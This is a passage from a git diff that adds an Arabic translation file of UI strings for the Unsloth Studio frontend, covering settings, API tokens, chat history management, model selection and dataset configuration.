+    getServerPreferenceSnapshot,
+  );
+}
diff --git a/studio/frontend/src/i18n/locales/ar.ts b/studio/frontend/src/i18n/locales/ar.ts
new file mode 100644
index 0000000000..28f404a384
--- /dev/null
+++ b/studio/frontend/src/i18n/locales/ar.ts
@@ -0,0 +1,1001 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import type { DeepPartialMessageTree } from "../types";
+import type { en } from "./en";
+
+export const ar = {
+  common: {
+    cancel: "إلغاء",
+    close: "إغلاق",
+    delete: "حذف",
+    done: "تم",
+    error: "خطأ",
+    export: "تصدير",
+    help: "مساعدة",
+    loading: "جارٍ التحميل...",
+    new: "جديد",
+    rename: "إعادة تسمية",
+    save: "حفظ",
+    saving: "جارٍ الحفظ...",
+    search: "بحث",
+    shutdown: "إيقاف التشغيل",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "قائمة حساب {name}",
+    updateAvailable: "يتوفر تحديث",
+    aria: {
+      home: "الصفحة الرئيسية لـ Unsloth",
+      closeSidebar: "إغلاق الشريط الجانبي",
+      openSidebar: "فتح الشريط الجانبي",
+      chatOptions: "خيارات المحادثة",
+      runOptions: "خيارات التدريب",
+    },
+    navigation: {
+      newChat: "محادثة جديدة",
+      returnToChat: "العودة إلى المحادثة",
+      compare: "مقارنة",
+      search: "بحث",
+      hub: "Hub",
+      train: "تدريب",
+      recipes: "الوصفات",
+      export: "تصدير",
+      recents: "الأخيرة",
+      noChatsYet: "لا توجد محادثات بعد",
+      settings: "الإعدادات",
+      api: "API",
+      lightMode: "الوضع الفاتح",
+      darkMode: "الوضع الداكن",
+      guidedTour: "جولة إرشادية",
+      help: "مساعدة",
+      logOut: "تسجيل الخروج",
+      shutdown: "إيقاف التشغيل",
+    },
+    notFound: {
+      title: "الصفحة غير موجودة",
+      description: "{path} غير موجود.",
+      backToChat: "العودة إلى المحادثة",
+    },
+    dialog: {
+      deleteChat: {
+        title: "حذف المحادثة",
+        description: 'هل أنت متأكد من أنك تريد حذف هذه المحادثة "{name}"؟',
+      },
+      deleteRun: {
+        title: "حذف عملية التدريب",
+        description: 'هل أنت متأكد من أنك تريد حذف هذه العملية "{name}"؟',
+      },
+      renameChat: {
+        title: "إعادة تسمية المحادثة",
+        placeholder: "عنوان المحادثة",
+      },
+      renameRun: {
+        title: "إعادة تسمية العملية",
+        placeholder: "اسم العملية",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "لا يمكن حذف عملية تدريب قيد التشغيل",
+      failedToDeleteChat: "فشل حذف المحادثة",
+      failedToDeleteRun: "فشل حذف العملية",
+      failedToRenameChat: "فشلت إعادة تسمية المحادثة",
+      failedToRenameRun: "فشلت إعادة تسمية العملية",
+    },
+  },
+  settings: {
+    title: "الإعدادات",
+    dialog: {
+      title: "الإعدادات",
+      description: "إدارة تفضيلات Unsloth الخاصة بك.",
+      closeAriaLabel: "إغلاق الإعدادات",
+    },
+    tabs: {
+      general: "عام",
+      profile: "الملف الشخصي",
+      appearance: "المظهر",
+      resources: "النظام",
+      chat: "المحادثة",
+      connections: "الاتصالات",
+      apiKeys: "API",
+      about: "حول",
+    },
+    general: {
+      title: "عام",
+      description: "التفضيلات العامة لـ Unsloth.",
+      account: "الحساب",
+      huggingFaceToken: "توكن Hugging Face",
+      huggingFaceTokenDescription:
+        "يُستخدم لتحميل النماذج المقيّدة ورفع المخرجات.",
+      hideToken: "إخفاء التوكن",
+      showToken: "إظهار التوكن",
+      tokenSaved: "تم حفظ التوكن",
+      password: "كلمة المرور",
+      passwordDescription: "تغيير كلمة المرور لحساب Studio هذا.",
+      passwordDialog: {
+        trigger: "تغيير كلمة المرور",
+        title: "تغيير كلمة المرور",
+        description:
+          "أدخل كلمة المرور الحالية واختر كلمة مرور جديدة (بحد أدنى {minLength} حرفًا).",
+        currentPassword: "كلمة المرور الحالية",
+        newPassword: "كلمة المرور الجديدة",
+        confirmPassword: "تأكيد كلمة المرور الجديدة",
+        currentTooShort:
+          "يجب أن تتكون كلمة المرور الحالية من {minLength} حرفًا على الأقل.",
+        newTooShort:
+          "يجب أن تتكون كلمة المرور الجديدة من {minLength} حرفًا على الأقل.",
+        mismatch: "كلمتا المرور غير متطابقتين.",
+        samePassword:
+          "يجب أن تختلف كلمة المرور الجديدة عن كلمة المرور الحالية.",
+        update: "تحديث كلمة المرور",
+        updating: "جارٍ التحديث...",
+        updated: "تم تحديث كلمة المرور.",
+        updateFailed: "فشل تحديث كلمة المرور.",
+      },
+      chatDefaults: "الإعدادات الافتراضية للمحادثة",
+      autoTitleNewChats: "عنونة المحادثات الجديدة تلقائيًا",
+      autoTitleNewChatsDescription:
+        "إنشاء عنوان قصير من الرسالة الأولى.",
+      helperLlm: {
+        sectionTitle: "نموذج LLM المساعد",
+        preloadOnStartup: "تحميل نموذج LLM المساعد مسبقًا عند بدء التشغيل",
+        preloadOnStartupDescription:
+          "تنزيل نموذج مساعد AI Assist في الخلفية عند بدء التشغيل. مُعطّل افتراضيًا؛ لا يزال بإمكان AI Assist جلبه عند الطلب.",
+        disabledByEnv:
+          "مُعطّل بواسطة UNSLOTH_HELPER_MODEL_DISABLE في بيئة الخادم.",
+        loadError: "فشل تحميل إعدادات نموذج LLM المساعد.",
+        saveError: "فشل حفظ إعدادات نموذج LLM المساعد.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "التبديل التلقائي للنموذج (OpenAI API)",
+        enable: "تبديل النموذج حسب الطلب",
+        enableDescription:
+          "عندما يسمّي طلب متوافق مع OpenAI ملف GGUF مُنزّلاً مختلفًا، يتم تحميله قبل الخدمة. مُعطّل افتراضيًا؛ الأسماء غير المعروفة تُبقي على النموذج المُحمَّل.",
+        idleUnload: "الإلغاء التلقائي عند الخمول",
+        idleUnloadDescription:
+          "إلغاء تحميل النموذج بعد هذا العدد من ثواني الخمول لتحرير الـ VRAM؛ الطلب التالي يعيد تحميله. القيمة 0 تُبقيه محمَّلاً.",
+        idleNeedsEnable:
+          "فعّل تبديل النموذج حسب الطلب حتى يعاد تحميل النموذج غير المحمَّل عند الاستخدام التالي.",
+        idleActiveViaEnv:
+          "الإلغاء التلقائي عند الخمول مُفعَّل عبر متغير البيئة UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "فشل تحميل إعدادات التبديل التلقائي للنموذج.",
+        saveError: "فشل حفظ إعدادات التبديل التلقائي للنموذج.",
+        idleError: "أدخل عددًا صحيحًا من الثواني (0 أو أكثر).",
+      },
+      previewSharing: {
+        sectionTitle: "مشاركة المعاينة",
+        enableLabel: "روابط المعاينة العامة",
+        enableDescription:
+          "اسمح لأي شخص لديه رابط موقّع بالمحادثة مع نموذج مكتمل دون الحاجة إلى تسجيل الدخول. أوقف التشغيل لإخفاء واجهة المعاينة العامة؛ تتوقف الروابط المشتركة عن العمل.",
+        loadError: "فشل تحميل إعدادات مشاركة المعاينة.",
+        saveError: "فشل حفظ إعدادات مشاركة المعاينة.",
+        revokeLabel: "إلغاء جميع روابط المعاينة",
+        revokeDescription:
+          "قم بتدوير سر التوقيع بحيث يتوقف كل رابط شاركته عن العمل. تظل الروابط المنسوخة حديثًا تعمل.",
+        revokeAction: "إلغاء الروابط",
+        revoking: "جارٍ الإلغاء...",
+        revokeConfirmTitle: "إلغاء جميع روابط المعاينة؟",
+        revokeConfirmDescription:
+          "سيتوقف كل رابط معاينة شاركته عن العمل فورًا. لا يمكن التراجع عن هذا الإجراء.",
+        revokeConfirmAction: "إلغاء جميع الروابط",
+        revoked: "تم إلغاء جميع روابط المعاينة",
+        revokeError: "تعذّر إلغاء روابط المعاينة",
+      },
+      notifications: {
+        sectionTitle: "الإشعارات",
+        showLlamaUpdates: "إشعارات تحديث llama.cpp",
+        showLlamaUpdatesDescription:
+          "التنبيه عند توفر إصدار أحدث من llama.cpp لتشغيل نماذج جديدة. أوقف التشغيل إذا كنت تُدرّب فقط.",
+      },
+      gettingStarted: "البدء",
+      startOnboarding: "بدء الإعداد التمهيدي",
+      startOnboardingDescription:
+        "إعادة فتح معالج الإعداد دون تغيير حسابك.",
+      startOnboardingAction: "بدء الإعداد التمهيدي",
+      uploads: {
+        sectionTitle: "التحميلات",
+        maxUploadSize: "الحد الأقصى لتحميل مجموعة بيانات التدريب",
+        maxUploadSizeDescription: "القيمة الافتراضية هي {defaultSize} ميجابايت.",
+      },
+      rag: {
+        sectionTitle: "المستندات وRAG",
+        embeddingModel: "نموذج التضمين (Embedding)",
+        embeddingModelDescription:
+          "نموذج Hugging Face أو مسار محلي يُستخدم لفهرسة مستنداتك والبحث فيها. القيمة الافتراضية هي {defaultModel}.",
+        reindexWarning:
+          "يؤثر فقط على المستندات المفهرسة حديثًا. أعد تحميل المستندات الحالية بعد تغيير النموذج.",
+        emptyError: "أدخل معرّف نموذج Hugging Face أو مسارًا محليًا.",
+        loadError: "فشل تحميل إعداد نموذج التضمين.",
+        saveError: "فشل حفظ نموذج التضمين.",
+        saved: "تم حفظ نموذج التضمين.",
+        saveAnyway: "الحفظ على أي حال",
+        resetAction: "إعادة التعيين إلى الافتراضي",
+      },
+      storage: {
+        sectionTitle: "التخزين",
+        modelsFolder: "مجلد النماذج",
+        modelsFolderDescription: "المكان الذي تُخزَّن فيه النماذج المُنزَّلة.",
+        openAction: "فتح",
+        copyAction: "نسخ المسار",
+        copied: "تم نسخ المسار",
+        openError: "تعذّر فتح المجلد",
+        copyError: "تعذّر نسخ المسار",
+      },
+      resetPreferences: {
+        sectionTitle: "منطقة الخطر",
+        label: "إعادة تعيين جميع التفضيلات المحلية",
+        description:
+          "يمسح التفضيلات المحلية فقط. تُحفظ المحادثات ووصول API والإعدادات المخزّنة في قاعدة البيانات.",
+        action: "إعادة تعيين التفضيلات",
+        confirmTitle: "إعادة تعيين جميع التفضيلات المحلية؟",
+        confirmDescription:
+          "يمسح التفضيلات المحلية فقط ويعيد تحميل Unsloth. تُحفظ المحادثات ووصول API والإعدادات المخزّنة في قاعدة البيانات.",
+        confirmAction: "إعادة التعيين وإعادة التحميل",
+      },
+    },
+    profile: {
+      title: "الملف الشخصي",
+      description: "كيفية ظهور ملفك الشخصي في Unsloth.",
+      changePicture: "تغيير صورة الملف الشخصي",
+      displayName: "الاسم المعروض",
+      nickname: "بماذا يجب أن يناديك Unsloth؟",
+      nicknamePlaceholder: "اللقب",
+      nicknameSaved: "تم حفظ الاسم المفضّل",
+      avatarShape: "شكل صورة الملف الشخصي",
+      avatarShapeCircle: "دائري",
+      avatarShapeRounded: "مستدير الحواف",
+      chooseSloth: "أو اختر كسلانًا",
+      nameSaved: "تم حفظ اسم الملف الشخصي",
+      namePersistErrorTitle: "تعذّر حفظ اسم الملف الشخصي",
+      namePersistErrorDescription:
+        "تم تحديث الاسم لهذه الجلسة، لكنه قد لا يُحفظ بعد إعادة التحميل.",
+      photoUpdated: "تم تحديث صورة الملف الشخصي",
+      photoPersistErrorTitle: "تعذّر حفظ صورة الملف الشخصي",
+      photoPersistErrorDescription:
+        "تم تحديث الصورة لهذه الجلسة، لكنها قد لا تُحفظ بعد إعادة التحميل.",
+      photoUpdateErrorTitle: "تعذّر تحديث صورة الملف الشخصي",
+      imageUseError: "تعذّر استخدام هذه الصورة.",
+    },
+    appearance: {
+      title: "المظهر",
+      description: "كيفية ظهور Unsloth Studio على هذا الجهاز.",
+      theme: {
+        title: "السمة",
+        label: "نظام الألوان",
+        description: "فاتح أو داكن أو اتباع نظامك.",
+        system: "النظام",
+        light: "فاتح",
+        dark: "داكن",
+      },
+      language: {
+        title: "اللغة",
+        label: "لغة العرض",
+        description: "اللغة التي يستخدمها Unsloth.",
+        autoDetect: "اكتشاف تلقائي",
+      },
+      layout: {
+        title: "التخطيط",
+        compactSidebar: "تثبيت الشريط الجانبي افتراضيًا",
+        compactSidebarDescription:
+          "إبقاء الشريط الجانبي موسّعًا بدلاً من طيّه إلى أيقونات.",
+      },
+    },
+    resources: {
+      title: "النظام",
+      description: "مراقبة أجهزة خادم Studio هذا وتخزينه.",
+      liveUpdates: "التحديثات المباشرة",
+      floatingWindow: "نافذة عائمة",
+      disableOverlay: "تعطيل التراكب",
+      liveMonitor: {
+        title: "المراقبة المباشرة",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "القرص",
+        vram: "VRAM",
+        cpuCores: "{logical} نواة منطقية / {physical} نواة فعلية",
+        currentLoad: "الحمل الحالي",
+        free: "{value} متاح",
+        noGpu: "لا يوجد GPU مرئي",
+      },
+      gpu: {
+        title: "أجهزة GPU",
+        noGpu: "لم يُكتشف أي GPU مرئي. تُعرض موارد CPU فقط أعلاه.",
+        unknownDevice: "GPU غير معروف",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} مستخدم",
+        free: "{value} متاح",
+        total: "{value} إجمالي",
+      },
+      storage: {
+        title: "التخزين",
+        systemDisk: "قرص النظام",
+        diskUsage: "{used} مستخدم / {total}",
+        diskFree: "{free} متاح",
+        modelsFolder: "مجلد النماذج",
+        modelsFolderDescription: "المكان الذي تُخزَّن فيه النماذج المُنزَّلة.",
+        openAction: "فتح",
+        copyAction: "نسخ المسار",
+        copied: "تم نسخ المسار",
+        openError: "تعذّر فتح المجلد",
+        copyError: "تعذّر نسخ المسار",
+      },
+      environment: {
+        title: "البيئة",
+        backend: "الخادم الخلفي",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "مدة التشغيل",
+        processMemory: "ذاكرة العملية",
+        notInstalled: "غير مثبّت",
+        unknown: "غير معروف",
+      },
+    },
+    chat: {
+      title: "المحادثة",
+      description: "إدارة سجل المحادثات المخزّن على هذا الجهاز.",
+      modelDisclaimer: "إظهار إخلاء مسؤولية النموذج",
+      modelDisclaimerDescription:
+        'إظهار "قد ترتكب نماذج LLM أخطاء" أسفل مربع المحادثة.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "طي كتل HTML",
+        collapseHtmlBlocksDescription:
+          "يطوي وضع Canvas ملفات HTML الكاملة تلقائيًا. فعّل هذا لطي مستندات HTML المُحاطة بأسوار أيضًا عند إيقاف Canvas.",
+        allowNetworkAccess: "السماح بوصول Canvas إلى الشبكة",
+        allowNetworkAccessDescription:
+          "اسمح لمعاينات Canvas بتحميل النصوص البرمجية والأنماط والخطوط والوسائط وموارد الشبكة من شبكات CDN. أبقِه معطّلاً للمعاينات دون اتصال بالكامل.",
+      },
+      data: "البيانات",
+      exportHistory: "تصدير سجل المحادثات",
+      exportHistoryDescription: "تنزيل جميع المحادثات والرسائل بصيغة JSON.",
+      exportAction: "تصدير",
+      exportingAction: "جارٍ التصدير...",
+      exportConversations: "تصدير الأخيرة والمشاريع",
+      exportConversationsDescription:
+        "تنزيل الأخيرة أو الأخيرة مع محادثات المشاريع بصيغة Raw JSONL أو CSV أو ShareGPT JSONL، مجمّعة أو لكل محادثة.",
+      exportConversationsAction: "تصدير",
+      exportScopeRecents: "الأخيرة",
+      exportScopeAll: "الأخيرة + المشاريع",
+      exportCombinedSuffix: "(مجمّعة)",
+      exportPerChatSuffix: "(لكل محادثة)",
+      importChats: "استيراد المحادثات",
+      importChatsDescription:
+        "استيراد ملف تصدير بصيغة JSONL أو NDJSON أو CSV إلى الأخيرة.",
+      importChatsAction: "استيراد",
+      importNoConversations: "لم يُعثر على محادثات في الملف.",
+      importedOneChat: "تم استيراد محادثة واحدة إلى الأخيرة.",
+      importedChatCount: "تم استيراد {count} محادثة إلى الأخيرة.",
+      importFailed: "فشل الاستيراد.",
+      clearHistory: "مسح سجل المحادثات",
+      clearHistoryDescription: "حذف سجل المحادثات من هذا الجهاز.",
+      clearAction: "مسح",
+      clearAllChats: "مسح جميع المحادثات",
+      clearAllChatsDescription: "حذف كل محادثة على هذا الجهاز نهائيًا.",
+      noChatsToClear: "لا توجد محادثات لمسحها.",
+      clearOneChatDescription:
+        "حذف المحادثة الوحيدة على هذا الجهاز نهائيًا.",
+      clearChatCountDescription:
+        "حذف جميع المحادثات الـ {count} على هذا الجهاز نهائيًا.",
+      clearChatsAction: "مسح المحادثات",
+      clearOneChatTitle: "مسح محادثة واحدة؟",
+      clearChatsTitle: "مسح {count} محادثة؟",
+      clearChatsConfirmDescription:
+        "يحذف كل محادثة على هذا الجهاز نهائيًا. لا يمكن التراجع عن هذا الإجراء.",
+      clearingAction: "جارٍ المسح...",
+      clearOneChatAction: "مسح محادثة واحدة",
+      clearChatCountAction: "مسح {count} محادثة",
+      clearedAllChats: "تم مسح جميع المحادثات",
+      clearedOneChat: "تم مسح محادثة واحدة",
+      clearedChatCount: "تم مسح {count} محادثة",
+      someChatsCouldNotBeCleared: "تعذّر مسح بعض المحادثات",
+      chatsClearedRemainOne:
+        "تم مسح {clearedCount} محادثة؛ تبقّت محادثة واحدة. يُرجى إعادة المحاولة.",
+      chatsClearedRemain:
+        "تم مسح {clearedCount} محادثة؛ تبقّت {remainingCount} محادثة. يُرجى إعادة المحاولة.",
+      oneChatClearedRemain:
+        "تم مسح محادثة واحدة؛ تبقّت {remainingCount} محادثة. يُرجى إعادة المحاولة.",
+      oneChatClearedRemainOne:
+        "تم مسح محادثة واحدة؛ تبقّت محادثة واحدة. يُرجى إعادة المحاولة.",
+      storageClearFailedOne:
+        "فشل مسح أحد مواقع التخزين؛ قد تبقى محادثة واحدة. يُرجى إعادة المحاولة.",
+      storageClearFailed:
+        "فشل مسح أحد مواقع التخزين؛ قد تبقى {count} محادثة. يُرجى إعادة المحاولة.",
+      failedToClearChats: "فشل مسح المحادثات",
+    },
+    connections: {
+      title: "الاتصالات",
+      description: "إدارة المزوّدين والاتصالات الخارجية.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "الوصول إلى Unsloth عبر API المتوافق مع OpenAI.",
+      readDocs: "قراءة وثائق API",
+      noAccess: "لا يوجد وصول إلى API بعد.",
+      accessTokens: "توكنات الوصول",
+      loadError: "تعذّر تحميل وصول API.",
+      createError: "تعذّر إنشاء توكن الوصول.",
+      revokeError: "تعذّر إلغاء توكن الوصول.",
+      never: "أبدًا",
+      tokenNamePlaceholder: "اسم التوكن (مثل production)",
+      newAccessTokenName: "اسم توكن الوصول الجديد",
+      createToken: "إنشاء توكن",
+      creating: "جارٍ الإنشاء...",
+      newTokenCreated: "تم إنشاء توكن وصول جديد",
+      accessTokenCopied: "تم نسخ توكن الوصول",
+      copyAccessToken: "نسخ توكن الوصول",
+      copyNow: "انسخه الآن - لن يُعرض مرة أخرى.",
+      usageExamples: "أمثلة الاستخدام",
+      usageTools: "الأدوات",
+      exampleCurlTools: "curl + أدوات",
+      examplePythonTools: "Python + أدوات",
+      exampleJavaScriptTools: "JavaScript + أدوات",
+      exampleCurlAdvanced: "curl + متقدم",
+      examplePythonAdvanced: "Python + متقدم",
+      exampleJavaScriptAdvanced: "JavaScript + متقدم",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "HTTPS آمن",
+      secureHttpsHint:
+        "لا يزال منفذ 0.0.0.0 قابلاً للوصول عالميًا. للحصول على أمان كامل، شغّل Unsloth Studio باستخدام --secure لعرض رابط HTTPS هذا فقط.",
+      copyTunnelUrl: "نسخ رابط النفق",
+      copySnippet: "نسخ المقتطف",
+      copy: "نسخ",
+      copied: "تم النسخ",
+      setupDocs: "وثائق الإعداد:",
+      codingAgents: "وكلاء البرمجة",
+      codingAgentsHint:
+        "شغّل وكيل برمجة مقابل هذا الخادم. يستخدم النموذج المُحمَّل؛ الخادم المحلي يُنشئ مفتاح API تلقائيًا، والخادم البعيد يُضمّنه في الأمر.",
+      codingAgentsSwap: "استبدل claude بـ codex أو openclaw أو opencode أو hermes أو pi.",
+      codingAgentDetected: "مثبّت على هذا الجهاز",
+      codingAgentsDetectedHint: "تم اكتشافه على هذا الجهاز: {agents}.",
+      relativeNever: "أبدًا",
+      relativeJustNow: "الآن",
+      relativeHoursAgo: "قبل {count} ساعة",
+      relativeDaysAgo: "قبل {count} يوم",
+      relativeMonthsAgo: "قبل {count} شهر",
+      relativeYearsAgo: "قبل {count} سنة",
+      expired: "منتهي الصلاحية",
+      today: "اليوم",
+      inDays: "خلال {count} يوم",
+      created: "أُنشئ {value}",
+      used: "استُخدم {value}",
+      expires: "ينتهي {value}",
+      actionsFor: "إجراءات {name}",
+      copyPrefix: "نسخ البادئة",
+      revokeToken: "إلغاء التوكن",
+      revokeTitle: 'إلغاء توكن الوصول "{name}"؟',
+      revokeDescription:
+        "ستفقد التطبيقات التي تستخدم هذا التوكن الوصول فورًا. لا يمكن التراجع عن هذا الإجراء.",
+      revokeAction: 'إلغاء "{name}"',
+      revoking: "جارٍ الإلغاء...",
+    },
+    about: {
+      title: "حول",
+      description: "الوثائق وملاحظات الإصدار والملاحظات ومعلومات البناء.",
+      studioVersion: "إصدار Unsloth",
+      packageVersion: "إصدار الحزمة",
+      llamaCppVersion: "إصدار llama.cpp",
+      hardware: "الأجهزة",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "التحديث",
+      help: "مساعدة",
+      documentation: "الوثائق",
+      releaseNotes: "ملاحظات الإصدار",
+      whatsNew: "ما الجديد",
+      feedback: "الملاحظات",
+      reportIssue: "الإبلاغ عن مشكلة",
+      license: {
+        sectionTitle: "الترخيص",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "مفتوح المصدر بموجب GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "مرخّص بموجب Apache 2.0.",
+      },
+      dangerZone: "منطقة الخطر",
+      shutDownStudio: "إيقاف تشغيل Unsloth Studio",
+      shutDownStudioDescription:
+        "يوقف خادم Unsloth وينهي جلستك.",
+      shutDown: "إيقاف التشغيل",
+      update: {
+        title: "تحديث Unsloth Studio",
+        commandText: "نص {label}",
+        copied: "تم النسخ",
+        copyCommand: "نسخ الأمر",
+        commandCopied: "تم نسخ {label}",
+        copyNamedCommand: "نسخ {label}",
+        checkingInstall: "جارٍ التحقق من طريقة تثبيت Unsloth...",
+        installIntro: "لتثبيت أو تحديث Unsloth:",
+        localUpdateHeading: "تحديث محلي",
+        installCommandUnix: "أمر التثبيت لـ macOS/Linux",
+        installCommandWindows: "أمر التثبيت لـ Windows",
+        localInstallDetected:
+          "تم اكتشاف تثبيت محلي. حدّث من نسختك الأصلية لتجنّب استبدالها بإصدار PyPI.",
+        pullThenUpdate:
+          "اسحب أحدث التغييرات، ثم شغّل المثبّت المحلي:",
+        gitPullCommand: "أمر git pull",
+        localInstallerCommand: "أمر المثبّت المحلي",
+        sourceInstallDetected:
+          "تم اكتشاف تثبيت من المصدر أو حزمة VCS. أعد التثبيت من المسار المحلي الأصلي أو رابط Git.",
+        repoCheckoutFallback:
+          "إذا كانت لا تزال لديك نسخة المستودع، شغّل المثبّت المحلي منها:",
+        restartAfterUpdate: "أعد تشغيل Unsloth بعد التحديث.",
+        desktopManaged:
+          "يُبقي تطبيق سطح المكتب خادمه الخلفي المُضمَّن محدّثًا وسيُنبّهك عند توفر إصدار جديد.",
+        unknownInstall:
+          "تعذّر اكتشاف طريقة تثبيت Unsloth. لعمليات تثبيت المثبّت أو PyPI، استخدم الأوامر أعلاه.",
+        localCheckout:
+          "لعمليات تثبيت النسخة المحلية، شغّل المثبّت المحلي من تلك النسخة:",
+        docs: "وثائق التثبيت:",
+        docsInstall: "التثبيت",
+        docsUpdating: "التحديث",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "تدريب",
+    title: "استوديو الضبط الدقيق",
+    subtitles: {
+      configure: "إعداد التدريب وبدئه",
+      trainingInProgress: "التدريب قيد التقدم",
+      viewPastRuns: "عرض عمليات التدريب السابقة",
+      viewingPastRun: "عرض عملية سابقة",
+    },
+    tabs: {
+      configure: "الإعداد",
+      currentRun: "العملية الحالية",
+      history: "السجل",
+    },
+    loadingRuntime: "جارٍ تحميل بيئة تشغيل التدريب...",
+    backToHistory: "العودة إلى السجل",
+    sections: {
+      model: "النموذج",
+      dataset: "مجموعة البيانات",
+      params: "المعلمات",
+      training: "التدريب",
+      charts: "الرسوم البيانية",
+      progress: "تقدم التدريب",
+    },
+    configure: {
+      title: "الإعداد",
+      description: "اختر نموذجًا ومجموعة بيانات وإعدادات التدريب.",
+      startTraining: "بدء التدريب",
+      starting: "جارٍ البدء...",
+      loadingModel: "جارٍ تحميل النموذج...",
+      checkingDataset: "جارٍ التحقق من مجموعة البيانات...",
+      trainingConfig: "تكوين التدريب",
+    },
+    model: {
+      title: "النموذج",
+      description: "اختر النموذج الأساسي وطريقة التدريب",
+      fasterTrainingBadge: "تدريب أسرع بمقدار الضعف",
+      baseModel: "النموذج الأساسي",
+      localModel: "نموذج محلي",
+      localModelTooltip:
+        "مسار إلى نموذج مُنزَّل محليًا أو مستودع HF مخصّص.",
+      scanningLocalAndCachedModels: "جارٍ فحص النماذج المحلية والمخزّنة مؤقتًا...",
+      scanning: "جارٍ الفحص...",
+      scanningLocalModels: "جارٍ فحص النماذج المحلية...",
+      noLocalModelsFound: "لم يُعثر على نماذج محلية",
+      noLocalModelsFoundManual: "لم يُعثر على نماذج محلية. أدخل المسار يدويًا.",
+      failedToLoadLocalModels: "فشل تحميل النماذج المحلية",
+      hfCache: "ذاكرة HF المؤقتة",
+      customFolders: "مجلدات مخصّصة",
+      localDir: "الدليل المحلي",
+      huggingFaceModel: "نموذج Hugging Face",
+      huggingFaceModelTooltip:
+        "ابحث في نماذج Hugging Face أو اختر من قائمتنا الموصى بها.",
+      searchModels: "بحث في النماذج...",
+      searching: "جارٍ البحث...",
+      noModelsFound: "لم يُعثر على نماذج",
+      needsVram: "يحتاج إلى ~{vram} جيجابايت VRAM (GPU: {gpu} جيجابايت)",
+      tightVram: "~{vram} جيجابايت VRAM (ملاءمة ضيقة على {gpu} جيجابايت)",
+      vramEstimate: "~{vram} جيجابايت VRAM",
+      method: "الطريقة",
+      methodTooltip:
+        "تستخدم QLoRA التكميم بـ 4 بت لأقل استهلاك VRAM. تستخدم LoRA 16 بت. Full تحدّث جميع الأوزان. تُدرّب CPT (المعالجة التمهيدية المستمرة) على نص خام لتكييف النموذج مع مجال جديد دون تنسيق المحادثة.",
+      readMore: "اقرأ المزيد",
+      fullFineTune: "ضبط دقيق كامل",
+      checkingToken: "جارٍ التحقق من التوكن...",
+      getOrUpdateToken: "الحصول على التوكن أو تحديثه",
+      huggingFaceTokenOptional: "توكن Hugging Face (اختياري)",
+      continuedPretraining: "المعالجة التمهيدية المستمرة",
+      localModels: "النماذج المحلية",
+      localModelsFound: "تم العثور على {count} نموذج محلي/مخزّن مؤقتًا",
+      loadingLocalModels: "جارٍ تحميل النماذج المحلية...",
+    },
+    dataset: {
+      title: "مجموعة البيانات",
+      description: "اختر بيانات التدريب أو حمّلها",
+      source: "مصدر مجموعة البيانات",
+      chooseDataset: "اختر مجموعة بيانات",
+      chooseDatasetTooltip:
+        "استخدم علامات التبويب المنبثقة للتبديل بين Hugging Face ومخرجات الوصفات المحلية.",
+      localTab: "محلي",
+      searchHuggingFaceDatasets: "بحث في مجموعات بيانات Hugging Face...",
+      searchLocalDatasets: "بحث في مجموعات البيانات المحلية...",
+      searching: "جارٍ البحث...",
+      noDatasetsFound: "لم يُعثر على مجموعات بيانات",
+      loadingLocalDatasets: "جارٍ تحميل مجموعات البيانات المحلية...",
+      failedToLoadLocalDatasets: "فشل تحميل مجموعات البيانات المحلية.",
+      noLocalDatasetsYet: "لا توجد مجموعات بيانات محلية بعد.",
+      noLocalDatasetsMatchSearch: "لا توجد مجموعات بيانات محلية تطابق البحث.",
+      openDataRecipes: "فتح Data Recipes",
+      browsingSource: "تصفّح {browsing}. يبقى التحديد الحالي {current}.",
+      localDatasets: "مجموعات البيانات المحلية",
+      localDataset: "مجموعة بيانات محلية",
+      localDatasetRows: " / {count} صف",
+      huggingFaceDataset: "مجموعة بيانات Hugging Face",
+      localDatasetMetadata: "بيانات وصفية لمجموعة البيانات المحلية",
+      dataRecipeOutput: "مخرجات Data Recipe.",
+      rows: "الصفوف",
+      columns: "الأعمدة",
+      batches: "الدفعات",
+      updated: "تم التحديث",
+      evalDataset: "مجموعة بيانات التقييم",
+      uploading: "جارٍ التحميل...",
+      upload: "تحميل",
+      uploadEvalFile: "تحميل ملف التقييم",
+      evalDatasetDescription:
+        "اختياري. إذا لم يُقدَّم، سيتم فصل جزء صغير من بيانات التدريب.",
+      advanced: "متقدم",
+      targetFormat: "التنسيق المستهدف",
+      targetFormatTooltip:
+        "تنسيق بيانات التدريب الخاصة بك. يعمل الاكتشاف التلقائي مع معظم مجموعات البيانات.",
+      auto: "تلقائي",
+      rawText: "نص خام",
+      trainSplitStart: "بداية تقسيم التدريب",
+      trainSplitStartTooltip:
+        "درّب على جزء فرعي فقط من تقسيم التدريب عبر تحديد فهرس صف البداية (شامل، يبدأ من 0). اتركه فارغًا للبدء من الصف الأول.",
+      trainSplitEnd: "نهاية تقسيم التدريب",
+      trainSplitEndTooltip:
+        "آخر فهرس صف يُضمَّن من تقسيم التدريب (شامل، يبدأ من 0). على سبيل المثال، اضبط البداية على 0 والنهاية على 99 للتدريب على أول 100 صف. اتركه فارغًا لاستخدام جميع الصفوف المتبقية.",
+      endPlaceholder: "النهاية",
+      clear: "مسح",
+      dropFileOrClick: "أفلت ملفًا واحدًا هنا أو انقر للتحميل",
+      viewDataset: "عرض مجموعة البيانات",
+      uploadFailed: "فشل التحميل",
+      unknownError: "خطأ غير معروف",
